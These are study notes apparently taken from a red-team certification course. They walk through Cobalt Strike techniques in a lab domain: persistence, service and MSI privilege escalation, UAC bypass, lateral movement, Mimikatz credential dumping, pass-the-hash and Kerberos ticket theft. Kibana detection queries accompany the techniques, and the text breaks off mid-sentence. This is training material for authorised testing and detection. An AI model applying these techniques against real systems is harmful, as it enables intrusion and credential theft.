Crto

Download as pdf or txt
Download as pdf or txt
You are on page 1of 279

CRTO

Host Reconnaissance
is a .NET application written in C# that has various
- Seatbelt
"host safety-checks". The information it gathers includes
general OS info, installed antivirus, AppLocker, audit policies,
local users and groups, logon sessions, UAC, Windows
Firewall and more.

Host Persistence
Common userland persistence methods include:

• HKCU / HKLM Registry Autoruns


• Scheduled Tasks
• Startup Folder

Task Scheaduler
The Windows Task Scheduler allows us to create "tasks" that
execute on a pre-determined trigger. That trigger could be a
time of day, on user-logon, when the computer goes idle,
1/279
when the computer is locked, or a combination thereof.
Let's create a scheduled task that will execute a PowerShell
payload once every hour. To save ourselves from having to
deal with lots of quotations in the IEX cradle, we can encode
it to base64 and execute it using the -EncodedCommand
parameter in PowerShell (often appreciated to -enc).
This is a little complicated to do, because it must use
Unicode encoding (rather than UTF8 or ASCII).
In PowerShell:

• -t is the desired persistence technique.


• -c is the command to execute.
• -a are any arguments for that command.
• -n is the name of the task.
• -m is to add the task (you can also remove, check and list).
• -o is the task frequency.

2/279
Startup Folder
Applications, files and shortcuts within a user's startup folder
are launched automatically when they first log in. It's
commonly used to bootstrap the user's home environment
(set wallpapers, shortcut's etc).

Use the WKSTN-1 console to check C:


\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\ for the file that was dropped. To test it,
simply double-click the link file to run or reboot the VM.

Registry AutoRun
AutoRun values in HKCU and HKLM allow applications to start
on boot. You commonly see these to start native and 3rd
party applications such as software updaters, download
assistants, driver utilities and so on.
Generate a Windows EXE payload and upload it to the target.
3/279
• -k is the registry key to modify.
• -v is the name of the registry key to create.

COM Hijacks
Instead of hijacking COM objects that are in-use and breaking
applications that rely on them, a safer strategy is to find instances of
applications trying to load objects that don't actually exist (so-called
"abandoned" keys).

Process Monitor is part of the excellent Sysinternals Suite. It shows real-


time file system, registry and process activity and is very useful in
finding different types of privilege escalation primitives.
Launch procmon64.exe on attacker-windows.

Due to the sheer number of events generated, filtering is


essential to find the ones of interest. We're looking for:
• RegOpenKey operations.
• where the Result is NAME NOT FOUND.
• and the Path ends with InprocServer32.

4/279
To speed the collection up, click random things, go into the
Windows menu, launch applications etc. After just a few
minutes, I have over 5,000 events - most of them from
Explorer, some from 3rd party software and others from OS
components.

5/279
One aspect to look out for is the number of times a particular
CLSID is loaded. If you hijack one that is loaded every couple
of seconds you're going to have a rough time - so it's well
worth the additional effort to find one that's loaded semi-
frequently but not so much so, or loaded when a commonly-
used application (Word, Excel, Outlook etc) is opened.

Scrolling through, I picked out this CLSID being loaded by C:


\Windows\system32\DllHost.exe.

To exploit this, we can create the necessary registry entries


in HKCU and point them at a Beacon DLL.

6/279
To generate the DLL, go to Attacks > Packages > Windows
Executable (S) and select Windows DLL as the output type.
Then upload the DLL to the location we specified in the
registry entry above.

When DllHost.exe loads this COM entry, we get a Beacon.

Another great place to look for hijackable COM components


is in the Task Scheduler. Rather than executing binaries on
disk, many of the default Windows Tasks actually use Custom
Triggers to call COM objects. And because they're executed
via the Task Scheduler, it's easier to predict when they're
going to be triggered. We can use the following PowerShell to
find compatible tasks.

$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)


{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
if ($Task.Principal.GroupId -eq "Users")
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

7/279
Host Privilege Escalation
Common methods for privilege escalation include Operating
System or 3rd party software misconfigurations and missing
patches. SharpUp can enumerate the host for any
misconfiguration-based opportunities.

Web Proxies
Many proxies can integrate with Active Directory for user authentication
and to create flexible web access policies.
It's not uncommon to find that sensitive accounts (such as DAs and/or
machine accounts) are prevented from talking out at all - meaning we
can't use HTTP Beacons with them.

The exact policies often can't be enumerated without having access to


the proxy itself, but clues can be found by looking at domain group
membership (as these are often used to assign domain users to
particular policies).

Proxy settings are typically deployed via GPO and are written
8/279
into the registry. You can read these manually
(Software\Microsoft\Windows\CurrentVersion\Internet Settings) or with
a tool such as Seatbelt.

There isn't a sure-fire way to tell if you are receiving traffic


through a web proxy, but one method is to check for the
presence of additional headers that are added by the proxy,
such as X-Forwarded-For.

In this case, the proxy has added Via and X-Forwarded-For to the HTTP
request. Where squid.dev.cyberbotic.io is the internal FQDN of the
proxy (it also provides the proxy vendor name and a version number!),
and 10.10.17.231 is the internal IP of the originating client (in this
case WKSTN-1).

Peer-to-Peer Listeners
Peer-to-Peer (P2P) listeners allow Beacons to link their communications
9/279
together to form a chain. The P2P types in Cobalt Strike
are TCP and SMB.

Linking Beacons is especially useful when it comes to pivoting,


privilege escalation and any other situation where you need to spawn
an additional Beacon payload. They help keep the number of direct
outbound connections to your attacking infrastructure low and for
machines and/or principals that can't send HTTP/S outbound at all.

Creating P2P listeners can be done in the Listeners menu, by selecting


the TCP or SMB Beacon payload type.

These listeners integrate into all the relevant Cobalt Strike workflows
such as spawn, spawnas, inject and jump; and payloads for these
listeners can also be generated in the same way from the Attacks menu.

If executing a P2P payload on a target manually, it won't appear in the


UI until the link (for SMB Beacons) or connect (for TCP Beacons)
command is used. You can also unlink P2P Beacons and then
use link again from another Beacon to reorganise the chain.

VIDEO:

BEACON TCP

10/279
11/279
BEACON SMB

12/279
ls \\.\pipe\

Interactua desde el TCP beacon

13/279
Windows Services
A Windows "service" is a special type of application that is
usually started automatically when the computer boots.
Services are used to start and manage core Windows
functionality such as Windows Defender, Windows Firewall,
Windows Update and more.

Third party applications may also install a Windows Service


to manage how and when they're run.

You can see the services installed on a machine by opening


services.msc, or via the sc command line tool.

14/279
And the Get-Service PowerShell cmdlet.

15/279
A service has several properties that we may want to pay
attention to:

Binary Path

This is the path where the actual executable (.exe) for the service is
located. Windows services are often in C:\Windows\system32 and
third party in C:\Program Files / C:\Program Files (x86)
16/279
Startup Type

This dictates when the service should start.

• Automatic - The service starts immediately on boot.


• Automatic (Delayed Start) - The service waits a short amount of time
after boot before starting (mostly a legacy option to help the desktop
load faster).
• Manual - The service will only start when specifically asked.
• Disabled - The service is disabled and won't run.

Service Status

This is the current status of the service.

• Running - The service is running.


• Stopped - The service is not running.
• StartPending - The service has been asked to start and is executing its
startup procedure.
• StopPending - The service has been asked to stop and is executing its
shutdown procedure.

Log On As
The user account that the service is configured to run as.

This could be a domain or local account. It's very common


for these services to be run as highly-privileged accounts,
even domain admins, or as local system. This is why services
17/279
can be an attractive target for both local and domain
privilege escalation

Dependants & Dependencies

These are services that either the current service is


dependant on to run, or other services that are dependant on
this service to run. This information is mainly important to
understand the potential impact of manipulation.

Unquoted Service Paths

We can see that the paths for ALG and AppVClient are not
quoted, but the path for AmazonSSMAgent is.

The difference is that this latter path has spaces


in them. Vuln-Service-1 has spaces in the
path and is also not quoted - this is
condition #1 for exploitation.
18/279
When Windows attempts to read the path to this executable,
it interprets the space as a terminator. So it will attempt to
execute the following (in order):

1. C:\Program.exe
2. C:\Program Files\Vuln.exe
3. C:\Program Files\Vuln Services\Service.exe

If we can drop a binary into any of those paths, the service


will execute it before the real one. Of course there's no
guarantee that we have permissions to write into either
of them - this is condition #2.

The PowerShell Get-Acl cmdlet will show the permissions of


various objects (including files and directories).

We can see from the output that BUILTIN\Users have Write


access to C:\Program Files\Vuln Services.

19/279
You will not see a Beacon appear automatically. When the
service has been started and the Beacon executed, you
should see that port you used in your TCP listener
configuration (in my case 4444) is listening on 127.0.0.1.

20/279
The Beacon is waiting for us to connect to it, which we do
with the connect command.

Weak Service Permissions

Although it doesn't show what exactly are permissions are,


so we need to dig a little deeper. This PowerShell script will
print which service rights we have.

We can see that all Authenticated


Users have ChangeConfig, Start and Stop privileges over this service.

We can abuse these weak permissions by changing the binary path of


the service - so instead of it running C:\Program Files\Vuln
21/279
Services\Service 2.exe, we can have it run something like C:
\Temp\payload.exe.

22/279
Weak Service Binary Permissions

23/279
This output shows that Users have Modify privileges over
Service 3.exe. This allows us to simply overwrite the binary
with something else (make sure you take a backup first)

24/279
Always Install Elevated
This policy allows standard users to install applications that
require access to directories and registry keys that they may
not usually have permission to change.

This is equivalent to granting full administrative rights and


even though Microsoft strongly discourages its use, it can still
be found.

To exploit this, we need to package a payload into an MSI


installer that will be installed and executed with SYSTEM
privileges.

• Generate a new Windows EXE TCP payload and save it to C:


\Payloads\beacon-tcp.exe.
• Open Visual Studio, select Create a new project and type
"installer" into the search box. Select the Setup Wizard project and
click Next.
• Give the project a name, like BeaconInstaller, use C:\Payloads for
the location, select place solution and project in the same directory,
and click Create.
• Keep clicking Next until you get to step 3 of 4 (choose files to
include). Click Add and select the Beacon payload you just generated.
Then click Finish.
• Highlight the BeaconInstaller project in the Solution Explorer and
in the Properties, change TargetPlatform from x86 to x64.

• Right-click the project and select View > Custom Actions.


• Right-click Install and select Add Custom Action.
25/279
• Double-click on Application Folder, select your beacon-tcp.exe file
and click OK. This will ensure that the beacon payload is executed as
soon as the installer is run.
• Under the Custom Action Properties, change Run64Bit to True.

Now build the project, which should produce an MSI at C:


\Payloads\BeaconInstaller\Debug\BeaconInstaller.msi.

To remove the MSI afterwards, you can use msiexec /q /n /


uninstall BeaconInstaller.msi before removing the file.

26/279
27/279
28/279
29/279
30/279
31/279
32/279
UAC Bypasses
Veterans of Windows Vista will remember the User Account
Control window that popped up every time anything wanted
to perform a privileged operation.

This was to prevent malicious applications from carrying out


actions without the explicit consent of an admin.

By default, applications will run in a Medium Integrity context


even if the user is a local administrator. nlamb is a member
of Domain Admins and subsequently the local administrators
group on wkstn-2.

However, if you launch the Command Prompt "normally" and


attempt to add a new local user, it will fail.

33/279
To run the Command Prompt in high integrity, right-click it,
select "Run as Administrator" and consent to the UAC
dialogue.

Now Command Prompt is running as an administrator (you


will often see "Administrator" in the window title) and you
can add the local user.

34/279
UAC was first introduced in Windows Vista and attracted
complaints from users due to the frequency and annoyance
of the popups, which led Microsoft to introduce some
relaxations.

These allow some of their own trusted, signed applications to


"auto-elevate" without consent under certain conditions. In
many ways, this decision paved the way for many of the
loopholes exploited in "UAC bypasses"

The default configuration for UAC is Prompt for consent for non-
Windows binaries, but can also have different settings such as
Prompt for credentials, Prompt for consent and Elevate without
prompting.

A UAC bypass is a technique by which an application can go


from Medium to High Integrity without prompting for
consent. This is not technically an EoP because Microsoft do
not consider UAC to be a security boundary; and since the
35/279
user has to be a local administrator, you're not gaining any
privilege that the user is not already allowed to have.

Jump onto the console of WKSTN-2 and spawn a Beacon as


nlamb. SharpUp will tell us that we're already a local admin,
so UAC can
be bypassed.

Cobalt Strike provides two means of executing code to


bypass UAC. The first is via the elevate command, which
bootstraps a listener via the chosen technique. The second is
via the runasadmin command, which allows you to execute
any arbitrary command.

36/279
Not all UAC bypasses are created equal - some have "quirks"
that you need to be aware of.

Seatbelt's TokenPrivileges command can list the current


token's privileges . A high integrity process may look
something like this:

A high integrity session gained using Token Duplication looks


like this:

37/279
and this will cause actions that require privileged access to
still fail.

So even though we're in a high integrity session, we really


can't do much. elevate svc-exe can be used to execute
another Beacon as SYSTEM by utilising the Service Control
Manager.

38/279
This Beacon will have the necessary token privileges to run
post-ex command such as logonpasswords. The moral of this
story is to research into the specific bypass techniques
before you use them.

39/279
Ahora si funciona

40/279
Domain Reconnaissance
This section will review (at a relatively high level) some of
the information you can enumerate from the current domain
as a standard domain user. We'll cover many of these areas
(domain trusts, Kerberos abuses, GPO abuses, etc) in much
more detail when we get to those specific sections.

For now, we'll see some of the different tooling that can be
used to query the domain, and how we can obtain targeted
information.
It's worth noting that performing domain recon in a high
integrity process is not required, and in some cases (token
duplication) can be detrimental.

PowerView
powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

Get-Domain
41/279
Returns a domain object for the current domain or the
domain specified with -Domain. Useful information includes
the domain name, the forest name and the domain
controllers.

Get-DomainController
Returns the domain controllers for the current or specified
domain.

Get-ForestDomain
42/279
Returns all domains for the current forest or the forest
specified by -Forest.

Get-DomainPolicyData
Returns the default domain policy or the domain controller
policy for the current domain or a specified domain/domain
controller. Useful for finding information such as the domain

43/279
password policy.

Get-DomainUser
Return all (or specific) user(s). To only return specific
properties, use -Properties. By default, all user objects for the
current domain are returned, use -Identity to return a
specific user.

Get-DomainComputer
Return all computers or specific computer objects.

44/279
Get-DomainOU

Search for all organization units (OUs) or specific OU objects.

Get-DomainGroup
Return the members of a specific domain group.

45/279
Get-DomainGroupMember

Return the members of a specific domain group.

Get-DomainGPO
Return all Group Policy Objects (GPOs) or specific GPO
objects. To enumerate all GPOs that are applied to a
particular machine, use -ComputerIdentity.

46/279
Get-DomainGPOLocalGroup
Returns all GPOs that modify local group memberships
through Restricted Groups or Group Policy Preferences.

Get-
DomainGPOUserLocalGroupMapping
Enumerates the machines where a specific domain user/
47/279
group is a member of a specific local group.

Find-DomainUserLocation
Enumerates all machines and queries the domain for users of
a specified group (default Domain Admins). Then finds
domain machines where those users are logged into.

Get-NetSession
Returns session information for the local (or a remote)
machine (where CName is the source IP).

48/279
Get-DomainTrust
Return all domain trusts for the current or specified domain.

BloodHound

Open a web browser and navigate to http://localhost:


7474/. Enter neo4j for both the username and password,
49/279
and click Connect. You'll be prompted to set a new
password - pick something you'll remember and click Change
Password. You may now close the browser.

Go to C:\Tools\BloodHound, launch BloodHound.exe and


login with your new password.

By default, SharpHound will target the current domain. To


enumerate a foreign domain, use the -d option.

50/279
This will download the files to the Team Server. To save them
onto your desktop go to View > Downloads, select the
files, click Sync Files and choose somewhere to save them.
It works this way so that every operator connected to the
Team Server has access to the same files.
In BloodHound, click the Upload Data button in the menu
on the right and select your ZIP files. Once the files have
been extracted, click the More Info button in the top-left -
the DB Stats and On-Prem Objects should now be populated.
There are multiple ways to search for data in BloodHound.
Since we have a Beacon running as bfarmer, a good first
step could be to find if he has any local admin rights on
machines in the domain. Use the search box in the top-left to
find bfarmer. Scroll down the Node Info tab until you find
the Local Admin Rights section. Click on Group
Delegated Local Admin Rights and BloodHound should
show a simple graph displaying the relationship between
bfarmer and SRV-1.
It shows us that bfarmer is MemberOf the Developers
domain group, which is AdminTo SRV-1.

51/279
Lateral Movement
Moving laterally between computers in a domain is
important for accessing sensitive information/materials, and
obtaining new credentials.

Cobalt Strike provides three strategies for executing Beacons/


code/commands on remote targets.

The first and most convenient is to use the built-in jump


command - the syntax is jump [method] [target] [listener].
Type jump to see a list of methods. This will spawn a Beacon
payload on the remote target, and if using a P2P listener, will
connect to it automatically.

Each method has it's own set of OPSEC concerns - we'll review
some of the main indicators of each technique as we go
through them.

The second strategy is to use the built-in remote-exec


command - the syntax is remote-exec [method] [target]
[command]. Type remote-exec to see a list of methods.

52/279
The remote-exec commands simply provide a means to
execute commands on a remote target.

They are therefore not exclusive to lateral movement, but


they can be used as such. They require more manual work to
manage the payload, but do offer a wider degree of control
over what gets executed on the target.

You also need to connect to P2P Beacons manually using


connect or link.

The third is to use Cobalt Strike's other primitives (


powershell, execute-assembly, etc) to implement
something entirely custom. This requires the most amount of
effort but also offers you the greatest degree of control.
Custom methods can be integrated into the jump and
remote-exec commands using Aggressor.

Each of these strategies are compatible with the various


credential and impersonation methods described in the next
section, Credentials & User Impersonation.

For instance, if you have plaintext credentials of a domain


user who is a local administrator on a target, use make_token
and then jump to use that user's credentials to move
53/279
laterally to the target.
Some of Seatbelt's commands can also be run remotely,
which can be useful to enumerate defences before we jump
to it.

A common means of testing local admin access on a target


is to list the C$ share remotely.

PowerShell Remoting
54/279
The winrm and winrm64 methods can be used as appropriate
for 32 and 64-bit targets. There are lots of different ways to
determine the architecture of a remote system - one exaple
is to use the Get-WmiObject PowerShell cmdlet.

(Get-WmiObject Win32_OperatingSystem).OSArchitecture

When moving laterally between targets, I recommend the SMB


Beacon. The SMB protocol is used extensively in a Windows
environment, so this traffic blends in very well.

WinRM will return a high integrity Beacon running as the user


with which you're interacting with the remote machine as

55/279
There are multiple steps to this technique that we leverage
to build a detection mechanism. We can look for egress
network connections with a destination port of 5985.

EXERCISE

Move laterally to SRV-1 using WinRM and investigate the logs


in Kibana.

PsExec
The psexec / psexec64 commands work by first uploading a
service binary to the target system, then creating and
starting a Windows service to execute that binary. psexec_psh
doesn't copy a binary to the target, but instead executes a
PowerShell one-liner (always 32-bit).

56/279
Beacons executed this way run as SYSTEM.

With psexec/64, the service filename is always a UNC path


(e.g. \\srv-1\ADMIN$\dd80980.exe). If psexec_psh is used, the
filepath will be %COMSPEC% /b /c start /b /min powershell -nop
-w hidden -encodedcommand blah.

EXERCISE

Move laterally to SRV-1 using psexec64 & psexec_psh, and


investigate the logs in Kibana.

Windows Management
Instrumentation (WMI)
As you may have noticed, WMI is not part of the jump
command but it is part of remote-exec.

The remote-exec method uses WMI's "process call create"


to execute any command we specify on the target.

The most straight forward means of using this is to upload a


payload to the target system and use WMI to execute it.

Generate an x64 Windows EXE for the SMB listener, upload it


to the target by cd'ing to the desired UNC path and then use
the upload command

57/279
The process is now running on SRV-1 so now we need to
connect to it.

When binaries are executed via WMI (using process call


create), it will be a child of WmiPrvSE.exe.

So defenders could look for Process Create events where


WmiPrvSE is the parent. This would also be the case if you
use WMI to execute a PowerShell one-liner.

EXERCISE
Move laterally to SRV-1 via WMI and investigate the logs in
Kibana.

The Curious Case of


CoInitializeSecurity
Beacon's internal implementation of WMI uses a Beacon Object
File, executed using the beacon_inline_execute Aggressor
function.

When a BOF is executed the CoInitializeSecurity COM object can


be called, which is used to set the security context for the
current process. According to Microsoft's documentation, this
58/279
can only be called once per process.

The unfortunate consequence is that if you have


CoInitializeSecurity get called in the context of, say "User A",
then future BOFs may not be able to inherit a different
security context ("User B") for the lifetime of the Beacon
process.

An example of that can look like the following:

We know jking is a local admin on SRV-2 but because


CoInitializeSecurity has already been called (probably in the
context of bfarmer), WMI fails with access denied.

As a workaround, your WMI execution needs to come from a


different process. This can be achieved with commands such
as spawn and spawnas, or even execute-assembly with a tool
such as SharpWMI.

DCOM
59/279
Beacon has no built-in capabilities to interact over
Distributed Component Object Model (DCOM), so must use
an external tool such as Invoke-DCOM. We'll see in a later
module how this can be integrated into the jump command.

DCOM is more complicated to detect, since each "Method"


works in a different way. In the particular case of
MMC20.Application, the spawned process will be a child of
mmc.exe

Processes started via DCOM may also be seen where the


parent is svchost.exe (started with the command line -k
DcomLaunch).

EXERCISE

Move laterally to SRV-1 via DCOM and investigate the logs in


Kibana.

Credentials & User Impersonation


Gaining access to user credentials, or otherwise being able to
impersonate the identity of a user is an important step for
moving laterally and accessing resources in the domain.

60/279
Red teams rely on obtaining legitimate user access in order
to reach their objective rather than exploiting systems using
CVEs etc.

Now that we've moved laterally to SRV-1, there are a few


ways to see if any other users currently have a session here.

The Beacon net commands are built on the Windows Network


Enumeration APIs. net logons will show any users currently
logged onto the host.

We can also get a list of running processes.

61/279
We can see that both jking and svc_mssql are currently
logged into SRV-1 and because we have local admin access,
we can steal and/or impersonate their credential material.

LogonPasswords
The sekurlsa::logonpasswords command in Mimikatz is
infamous for being able to "dump plaintext passwords from
memory". Having a users password has clear advantages
(see Make Token) and was a lucrative tactic for a long time.

However, Microsoft have implemented a lot of mitigations in


Windows 10 and above (e.g. by disabling wdigest by default),
so happening across plaintext passwords is certainly less
common.

This module is still capable of retrieving NTLM hashes which


is useful for pairing with the Pass the Hash or even
cracking to recover the plaintext.

This requires local admin privileges on the host.

62/279
Cobalt Strike also has a short-hand command for this called
logonpasswords.

After dumping these credentials, go to View > Credentials to


see a copy of them. Some of Cobalt Strike workflows (such
as the right-click Beacon > Access > MakeToken dialog) can
pull from this data model.

eKeys
This Mimikatz module will dump Kerberos encryption keys.

Since most Windows services choose to use Kerberos over


63/279
NTLM, leveraging these over NTLM hashes makes more
sense for blending into normal authentication traffic.

This requires local admin privileges on the host.

The aes256_hmac and aes128_hmac (if available) fields are


what we want to use with Overpass the Hash. These AES keys
are not automatically populated into the Credential data
model, but they can be added manually (View > Credentials >
Add).

Security Account Manager


The Security Account Manager (SAM) database holds the
NTLM hashes of local accounts only.

These can be extracted with lsadump::sam. If a common


local admin account is being used with the same password
across an entire environment, this can make it very trivial to
64/279
move laterally.

This command requires local admin privileges.

Domain Cached Credentials


Domain Cached Credentials were designed for instances
where domain credentials are required to logon to a
machine, even whilst it's disconnected from the domain
(think of a roaming laptop for example).

The local device caches the domain credentials so


authentication can happen locally, but these can be
extracted and cracked offline to recover plaintext credentials.

65/279
Unfortunately, the hash format is not NTLM.

To crack these with hashcat, we need to transform them into


the expected format. The example hashes page shows us it
should be $DCC2$<iterations>#<username>#<hash>.

Make Token
The make_token command in Cobalt Strike uses the LogonUserA
API which takes the username, domain and plaintext
password for a user, as well as a logon type. make_token
passes the LOGON32_LOGON_NEW_CREDENTIALS type, which
the MS docs describe as:

This logon type allows the caller to clone its current token
and specify new credentials for outbound connections. The
66/279
new logon session has the same local identifier but uses
different credentials for other network connections.

Let's see this in practice. The Beacon on WKSTN-1 is running


as DEV\bfarmer, which is reflected by getuid.

bfarmer is not a local admin on SRV-2.

However, we can find from our domain recon that jking is a


local admin on SRV-2. If we have the plaintext password
(provided here), we can use make_token with that information.

From the API documentation we know that this logon type


"allows the caller to clone its current token". This is why the
Beacon output says Impersonated DEV\bfarmer - it's
impersonating our own cloned token.

And if we do a getuid, it will also still say we are DEV\bfarmer


because the logon type "has the same local identifier".
67/279
The magic is in "uses different credentials for other network
connections" - if we now try to list the C$ share on SRV-2 we
now have access.

To dispose of the impersonated token, use rev2self.

make_token does not require local admin privileges

The use of make_token generates event 4624: An


account was successfully logged on. This event is very
common in a Windows domain, but can be narrowed down
by filtering on the Logon Type.

As mentioned above, it uses


LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
Windows commands such as RunAs will also generate the

68/279
same event. The event itself records the user who ran the
command, the user they're impersonating, and the process it
was run from.

KIBANA QUERY:event.code: 4624 and winlog.event_data.LogonType: 9

EXERCISE

Use make_token to impersonate another user and find the


evidence in Kibana.

Process Injection
The inject command will inject a Beacon payload in the form
of shellcode into a target process.

You can inject into processes owned by the current user


without needing elevation, but local admin privileges are
required to inject into processes owned by other users. If you
inject into a process owned by a different user, your Beacon
will run with all the local and domain privileges of that user.

69/279
Token Impersonation
The steal_token command will impersonate the access token
of the target process. Like make_token, it's good for access
resources across a network but not local actions.

Use rev2self to drop the impersonation. This command opens


a handle to the target process in order to duplicate and
impersonate the access token, and therefore requires local
admin privileges.
70/279
KIBANA QUERY: event.code: 4624 and winlog.event_data.LogonType: 9

EXERCISE

Use make_token to impersonate another user and find the


71/279
evidence in Kibana.

SpawnAs
The spawnas command will spawn a new process using the
plaintext credentials of another user and inject a Beacon
payload into it.

This creates a new logon session with the interactive logon


type which makes it good for local actions, but also creates a
whole user profile on disk if not already present.

This command does not require local admin privileges and


will also usually fail if run from a SYSTEM Beacon.

Like make_token, this will generate Windows event 4624:


An account was successfully logged on but with a
logon type of 2 (LOGON32_LOGON_INTERACTIVE).

It will detail the calling user (TargetUserName) and the


impersonated user (TargetOutboundUserName).

It will also generate Sysmon event 1 (Process Create).


72/279
Because Cobalt Strike spawns rundll32 by default, we can
find it by filtering on the process image.

KIBANA QUERY: event.type: process_start and process.name:


rundll32.exe

EXERCISE

Use spawnas to spawn a payload as a different user and find


the evidence in Kibana.

Pass the Hash


p assthe Hash is a technique that allows you to authenticate
to a Windows service using the NTLM hash of a user's
password, rather than the plaintext.

It works by starting a new logon session with a fake identity


and then replacing the session information with the domain,
username and NTLM hash provided.

This modification process requires patching of LSASS


memory which is a high-risk action, requires local admin
privileges and not all that viable if Protected Process
Light (PPL) is enabled.

RUTA PARA HABILITAR LA PROTECCION DEL LSA:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
COMANDO PSH PARA VERFIFICARLO: Get-itempropertyvalue -Path "HKLM:
\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL

https://itm4n.github.io/lsass-runasppl/

Beacon has a dedicated pth command which executes


73/279
Mimikatz in the background.

It passes the token over a named pipe which Beacon then


impersonates automatically.

74/279
Sysmon will record the process creation event for cmd.exe
including the command line arguments echo 1cbe909fe8a > \
\.\pipe\16ca6d. This unusual pattern can be searched for in
Kibana:

event.module: sysmon and event.type: process_start and


process.name: cmd.exe and process.command_line: *\\\\.\\pipe\\*

Pass-the-hash will also generate event 4624 with logon type 9.


This event records the executing user's Logon ID, which we
can cross reference from the process creation event above.

event.code: 4624 and winlog.logon.id: 0xe6d64

The TargetUserName and TargetOutboundUserName tells us


that NT AUTHORITY\SYSTEM has impersonated jking.

To avoid the \\.\pipe\ indicator, we can execute Mimikatz


75/279
manually and specify our own process.

If no /run parameter is specified, then cmd.exe is started.


However, this can actually cause the process window to
appear on the users desktop. This is less of a concern if
you're running as SYSTEM without any desktop session
associated with it, but has obvious implications otherwise.

Use a process that doesn't have a console or use


"powershell -w hidden" to create a hidden window.

Then once the spawned process has started, impersonate it


using steal_token.

When finished, use rev2self and kill the spawned process.

76/279
EXERCISE

Use both methods for executing pass-the-hash and find the


evidence in Kibana.

Overpass the Hash


Overpass-the-Hash (also known pass-the-key) allows
authentication to take place over Kerberos rather than NTLM.

You can use the NTLM hash or AES keys for a user to request
a Kerberos TGT (explained in more detail in the Kerberos
section).

Rubeus allows us to perform opth without needing elevated


privileges. The process to follow is:

• Request a TGT for the user we want to impersonate.


• Create a sacrificial logon session.
• Pass the TGT into that logon session.
• Access the target resource.

Most public articles demonstrate using the NTLM hash to


request the TGT.

77/279
When a TGT is requested, event 4768: A Kerberos
authentication ticket (TGT) was requested is
generated. You can see from the output above that the
KeyType is RC4-HMAC (0x17), but the default type for
Windows is now AES256 (0x12).

This means we can find 4768's where the encryption type is


RC4, which can be significant outliers.

QUERY KIBANA: event.code: 4768 and


winlog.event_data.TicketEncryptionType: 0x17

Instead, we should request TGTs with the AES keys rather


than NTLM hash. Rubeus also has an /opsec argument which
tells it to send the request without pre-auth, to more closely
emulate genuine Kerberos traffic.

78/279
This time we can see the KeyType is AES256, and the
generated 4768 joins the sea of 0x12.
A logon session can only hold one TGT at time and we don't
want to clobber the TGT of the user we've compromised.

Creating a new logon session allows us to use the requested


TGT without any adverse effects.
Use klist (or execute-assembly Rubeus klist) to display
the Kerberos tickets in the current logon session (output
shortened for brevity):

79/279
The current logon session ID (LUID) is 0x1f253 and there are
four cached tickets.

Use make_token with a dummy password to create and


impersonate a new logon session. klist will show a different
LUID and no tickets.

To pass the TGT into this logon session, we can use Beacon's
kerberos_ticket_use command.

This requires that the ticket be on disk of our attacking


80/279
workstation (not the target).

This is easily done in PowerShell:

[System.IO.File]::WriteAllBytes("C:
\Users\Administrator\Desktop\jkingTGT.kirbi",
[System.Convert]::FromBase64String("[...ticket...]"))

or bash:

echo -en "[...ticket...]" | base64 -d > jkingTGT.kirbi

If you're in an elevated context, Rubeus can shorten some of


these steps.

81/279
82/279
EXERCISE

Perform overpass-the-hash with both an NTLM hash and AES


keys. Find the RC4 ticket in Kibana.

Extracting Kerberos Tickets


Instead of using the NTLM hash or AES keys to request a TGT
for the user, we can actually extract their TGTs directly from
memory if they're logged onto a machine we control.

Rubeus triage will list the Kerberos tickets in all the logon
sessions currently on a system (if not elevated, it can only
show tickets in your own logon session).

83/279
jking has a logon session with LUID 0x462eb and the krbtgt
service means that this is a TGT. To extract it from memory,
use Rubeus dump. The /service and /luid flags can be used
to limit the tickets to extract.

Create a sacrificial logon session with createnetonly and take


note of both the new LUID and ProcessID.

84/279
Now use ptt to pass the extracted TGT into the sacrificial
logon session using the /luid flag.

Steal the access token of that process and access the target
resource.

85/279
You can also extract and reuse service tickets (TGS's) using
this technique.

Password Cracking Tips & Tricks

Password Cracking Tips & Tricks


As we've seen, there are numerous ways in which we can
obtain credential material for a user - but this is not always in
the form of a plaintext password. Instead, it's more common
these days to retrieve various hashes. These could be NTLM,
NetNTLM, SHA or even Kerberos tickets.

Some hashes such as NTLM can be utilised as they are (e.g.


pass the hash), but others are not so useful unless we can
crack them to recover an original plaintext password.
Regardless of the type of hash, there are generic password
cracking methodologies that we'll cover here.

Two very common applications to achieve this are hashcat


and John the Ripper.

Wordlists
A "wordlist" or "dictionary" attack is the easiest mode of
password cracking, in which we simply read in a list of
password candidates and try each one line-by-line.

86/279
There are many popular lists out there, including the
venerable rockyou list. The SecLists repo also have an
expansive collection for different applications.

• -a 0 specifies the wordlist attack mode.


• -m 1000 specifies that the hash is NTLM.
• C:\Temp\ntlm.txt is a text file containing the NTLM hash to crack.
• D:\Tools\rockyou.txt is the wordlist.

Wordlist + Rules
Rules are a means of extending or manipulating the "base"
words in a wordlist in ways that are common habits for users.

Such manipulation can include toggling character cases (e.g.


a to A), character replacement (e.g. a to @) and prepending/
appending characters (e.g. password to password!).

This allows our wordlists to be overall smaller in size


(because we don't have to store every permutation), but
with the drawback of a slightly slower cracking time.

• -r rules\add-year.rule is our custom rule file

87/279
The rockyou list does not contain Summer2020, but it does
contain the base word Summer.

The hashcat wiki contains all the information we need to write


a custom rule that will append the year 2020 to each word in
rockyou. We
can see that to append a character, we use $X - therefore to
append "2020", we just need $2$0$2$0.

Masks
A brute-force is where we try all combinations from a given
keyspace - for lowercase alphanumeric (of 3 characters), that
would mean trying aaa, aab, aac… all the way to zzz.

This is incredibly time consuming and not all that efficient.

A mask attack is an evolution over the brute-force and allows


us to be more selective over the keyspace in certain
positions.

A common pattern would be a password that starts with an


uppercase, followed by lowercase and ends with a number
(e.g. Password1). If we used a brute-force to crack this
88/279
combination we'd need to use a charset which includes
uppers, lowers and numbers (62 chars in total). A password
length of 9 is 62^9 (13,537,086,546,263,552) combinations.

My personal desktop computer can crack NTLM at a rate of


